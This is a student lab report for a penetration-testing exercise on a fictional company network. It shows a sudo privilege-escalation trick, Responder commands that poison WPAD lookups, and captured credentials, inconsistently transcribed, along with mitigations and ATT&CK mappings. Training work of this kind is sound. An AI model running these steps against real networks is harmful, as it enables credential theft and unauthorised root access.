

# Ex100 Report

Benjamin Ruddy

2022-11-28

## Contents

Goal . . . . .	2
<b>Technical Report</b>	<b>2</b>
Finding: <i>Network traffic vulnerable to Machine-in-the-Middle attack due to insecure WPAD configuration</i> . . . . .	2
Severity Rating: 5.0 . . . . .	2
Vulnerability Description . . . . .	2
Confirmation method . . . . .	2
Mitigation or Resolution Strategy . . . . .	3
<b>Attack Narrative</b>	<b>4</b>
Regaining root access on Devbox . . . . .	4
Inspecting network traffic, identifying . . . . .	4
MITRE ATT&CK Framework TTPs . . . . .	6

## Goal

The goal in this exercise is capture credentials using the Responder Python program.

## Technical Report

**Finding:** *Network traffic vulnerable to Machine-in-the-Middle attack due to insecure WPAD configuration*

**Severity Rating:** 5.0

**CVSS Base Severity Rating:** 5.0 AV:A AC:H PR:N UI:R S:C C:L I:L A:L

### Vulnerability Description

Due to the way that the Web Proxy Auto Discovery protocol (WPAD) is set up on the 10.70.184.0/24 subnet, WPAD network traffic containing a proxy request is able to be answered by a malicious actor, thus leaving any user on the network vulnerable to a Machine-in-the-Middle attack when their host sends out a WPAD request.

### Confirmation method

Using the Responder program as follows:

```
sudo python3 Responder.py -wFb
```

the following basic HTTP credentials were captured:

```
Responder: 000: 10.70.184.101: 53736
[+] Listening for events ...
[!] Error starting TCP server on port 53, check permissions or other servers running.
[*] [MDNS] Poisoned answer sent to 10.70.184.101 for name wpad.local
[*] [LLMNR] Poisoned answer sent to fe80::b4e5:d1f3:7ee4:603b for name wpad
[*] [MDNS] Poisoned answer sent to fe80::b4e5:d1f3:7ee4:603b for name wpad.local
[*] [LLMNR] Poisoned answer sent to 10.70.184.101 for name wpad
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] Basic Client    : 10.70.184.101
[HTTP] Basic Username  : d.darkblood
[HTTP] Basic Password  : KEY018-kP6+r4gULP00qraJt1Ep3A=
```

along with the following NTLMv2 hash:

[illegible]

### Mitigation or Resolution Strategy

If possible, disable the WPAD service on the appropriate server entirely by following the instructions at <https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/disable-http-proxy-auth-features>.

Alternatively, ensure that the correct WPAD host address is specified in the DNS server, so that no other WPAD response may be accepted.

## Attack Narrative

### Regaining root access on Devbox

We start by executing the attack chain from Exercise Ex0f0, in which we escalated privilege from user a.turing to root by abusing a sudo vulnerability along with a modified system binary (ps):

```
a.turing@devbox:~$ echo $PATH
/home/a.turing/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
a.turing@devbox:~$
```

```
a.turing@devbox: ~ x a.turing@devbox: ~ x
a.turing@devbox:~$ cat ~/bin/psreal
#!/bin/bash

/bin/bash -i
a.turing@devbox:~$ sudo -u#-1 ps
Password:
root@devbox:/home/a.turing# whoami
root
root@devbox:/home/a.turing#
```

### Inspecting network traffic, identifying

We are alerted to the fact that credentials might be capturable over network traffic, with additional comments being made about WPAD (Web Proxy Auto Discovery Protocol). With this in mind, we copy over the Responder program and tcpdump with:

```
scp -r /usr/share/responder
a.turing@devbox.artstailor.com:/home/a.turing/responder

scp /usr/share/sslstrip-extras/tcpdump
a.turing@devbox.artstailor.com:/home/a.turing/tcpdump
```

Executing tcpdump and monitoring traffic, we indeed find that a WPAD request is issued by ceo.artstailor.com:

```
root@devbox:/home/a.turing# ./tcpdump -i ens33 host not costumes.artstailor.com
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:16:49.951003 IP devbox.artstailor.com.34809 > pdc.artstailor.com.domain: 4828* A? costumes.artstailor.com. (41)
14:16:49.951023 IP devbox.artstailor.com.34809 > pdc.artstailor.com.domain: 11488* AAAA? costumes.artstailor.com. (41)
14:16:49.951439 IP pdc.artstailor.com.domain > devbox.artstailor.com.34809: 4828* 1/0/0 A 10.70.184.39 (57)
14:16:49.951440 IP pdc.artstailor.com.domain > devbox.artstailor.com.34809: 11488* 0/1/0 (92)
14:16:50.051038 IP devbox.artstailor.com.50319 > pdc.artstailor.com.domain: 55537* PTR? 90.184.70.10.in-addr.arpa. (43)
14:16:50.051525 IP pdc.artstailor.com.domain > devbox.artstailor.com.50319: 55537* 1/0/0 PTR pdc.artstailor.com. (75)
14:16:50.051629 IP devbox.artstailor.com.46131 > pdc.artstailor.com.domain: 18151* PTR? 100.184.70.10.in-addr.arpa. (44)
14:16:50.051791 IP pdc.artstailor.com.domain > devbox.artstailor.com.46131: 18151* 1/0/0 PTR devbox.artstailor.com. (79)
14:16:50.817200 IP ceo.artstailor.com.65138 > pdc.artstailor.com.domain: 39401* A? wpad.artstailor.com. (37)
14:16:50.817466 IP pdc.artstailor.com.domain > ceo.artstailor.com.65138: 39401 NXDomain* 0/1/0 (102)
14:16:50.818191 IP ceo.artstailor.com.netbios-ns > 10.70.184.255.netbios-ns: UDP, length 50
14:16:50.818555 IP ceo.artstailor.com.mdns > 224.0.0.251.mdns: 0 A (QM)? wpad.local. (28)
^([14:16:50.818885 IP6 fe80::b4e5:d1f3:7ee4:603b.mdns > ff02::fb.mdns: 0 A (QM)? wpad.local. (28)
```

From our knowledge on WPAD, we know that these requests may be answered by an attacker to get the client to use our own (malicious) server as a proxy.

Responder is a useful tool in this scenario as it has the capabilities to respond to the LLMNR request for the WPAD host address with its own web proxy, which in turn captures cookies, URLs, and potentially NTLM hashes if it succeeds in enabling NTLM authentication through the PAC (Proxy Auto-Config) file it delivers.

After terminating the process currently using port 80 on Devbox (`sudo systemctl stop apache2`), our usage of Responder is:

```
python Responder.py -I ens33 -wFb
```

where `-w` indicates that we want to start a rogue WPAD proxy server, `-F` indicates that we want to force WPAD, and `-b` indicates that we want to return basic HTTP authentication.

Doing so, we are able to capture the following authentication from user `d.darkblook`, which contained `KEY018`:

```
[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[*] [MDNS] Poisoned answer sent to 10.70.184.101 for name wpad.local
[*] [LLMNR] Poisoned answer sent to fe80::b4e5:d1f3:7ee4:603b for name wpad
[*] [MDNS] Poisoned answer sent to fe80::b4e5:d1f3:7ee4:603b for name wpad.local
[*] [LLMNR] Poisoned answer sent to 10.70.184.101 for name wpad
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] User-Agent      : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
08.0.5351.0 Safari/537.36
[HTTP] Basic Client    : 10.70.184.101
[HTTP] Basic Username  : d.darkblood
[HTTP] Basic Password  : KEY018-kp6+r4gULP00qraJt1Ep3A=
```

KEY018-kP6+r4qU1P00graJt1Ep3A==

Interestingly, if we run the previous Responder command without the `-b` option, we also manage to uncover user `Admin`'s NTLMv2 hash on the CEO machine:

[illegible]

## **MITRE ATT&CK Framework TTPs**

**TA0011:** Command and Control

**T1090:** Proxy

**.001:** Internal Proxy

**TA0006:** Credential Access

**T1557:** Adversary-in-the-Middle

**.001:** LLMNR/NBT-NS Poisoning and SMB Relay